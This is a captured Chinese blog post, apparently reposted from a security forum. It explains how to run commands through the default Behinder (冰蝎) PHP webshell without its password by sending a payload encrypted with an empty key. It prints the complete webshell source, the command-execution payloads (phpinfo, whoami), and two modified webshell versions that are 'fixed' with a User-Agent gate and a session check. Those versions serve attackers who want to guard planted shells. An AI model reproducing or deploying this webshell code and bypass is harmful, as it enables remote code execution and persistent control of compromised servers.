www.codenong.com
Open in
urlscan Pro
113.52.135.87
Public Scan
URL:
https://www.codenong.com/cs106064226/
Submission Tags: falconsandbox
Submission: On June 20 via api from US — Scanned from DE
Submission Tags: falconsandbox
Submission: On June 20 via api from US — Scanned from DE
Form analysis
0 forms found in the DOMText Content
码农家园 关闭 导航 杂项绕过冰蝎默认PHP马子密码,执行命令 2020-05-12 php -------------------------------------------------------------------------------- 当你的才华 还撑不起你的野心时 那你就应该静下心来学习 -------------------------------------------------------------------------------- 目录 绕过冰蝎默认php马子密码,执行命令 0x02 产生原因 0x03 复现 0x04 修复方案 -------------------------------------------------------------------------------- 原文第一篇来自:https://www.t00ls.net/articles-56337.html 作者:kl_520 PS:膜拜tools 的大佬们 绕过冰蝎默认php马子密码,执行命令 冰蝎默认php 马: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } else { $key=$_SESSION['k']; $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __construct($p) {eval($p."");}} @new C($params); } ?> 本地搭建Discuz 环境,直接将WebShell.php 上传到update 目录下 冰蝎马子我用的是现在最新版本2.0.1 版本,马子在server 文件下,文件名为shell.php,我上传的时候改为了webshell.php 访问页面是这样的,状态码显示200 砸门啥也不管,直接上冰蝎连接,输入webshell地址+默认webshell 密码,其它保持默认不用管,点击【保存】按钮 成功链接上 0X02 产生原因 当有get有参数pass时,随机一个密码给session[k]并打印出来 1 2 3 4 5 6 if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } 如果get没有参数pass时,读取session[k] 来当作解密的密钥,接收 put 的数据,解密然后通过 | 分割执行。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 { $key=$_SESSION['k']; $post=file_get_contents("php://input").''; if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; @eval($params); } 此时我们最开始时不要访问 shell.php?pass=1 那么seesion[k]就不会被赋值,也就是空。 记住千万不要访问,如果访问了清空缓存再试,通过 openssl_encrypt('|phpinfo();','AES128',''); 加密phpinfo。// key值 为空 然后echo 加密后的值,post 提交给冰蝎马。那么phpinfo();也会被执行成功,即可不需要密码就能连接默认冰蝎php马的webshell。 0X03 复现 我的电脑环境就是复现不成功,不知道为啥.... ....扯淡,弄半天了,朋友跟我思路一样,步骤也一样为什么就复现不出来... ...,无语 此处,盗用它的图来做演示好了 首先 1 2 3 <?php openssl_encrypt('|phpinfo();','AES128',''); ?> 得到加密后的phpinfo:4eNW........ 执行phpinfo 执行whoami 1 2 3 <?php openssl_encrypt('|system("whoami");','AES128',''); ?> 0X04 修复方案 自己改吧 这里提供tools上大佬们提供的解决方案 第一种: 连接的时候把UA设置成:123321666 PS:但通过UA 特征会比较明显 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } else { $key=$_SESSION['k']; $post=file_get_contents("php://input").''; if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } if($_SERVER['HTTP_USER_AGENT'] == '123321666'){ $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; @eval($params); } } ?> 第二种: 判断seesion 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } else if (!empty($_SESSION['k'])) { $key=$_SESSION['k']; $post=file_get_contents("php://input").''; if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } if($_SERVER['HTTP_USER_AGENT'] == '123321666') { $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; @eval($params); } } ?> 参考链接: https://www.t00ls.net/articles-56337.html -------------------------------------------------------------------------------- 虽然我们生活在阴沟里,但依然有人仰望星空! -------------------------------------------------------------------------------- Copyright © 码农家园 关闭 导航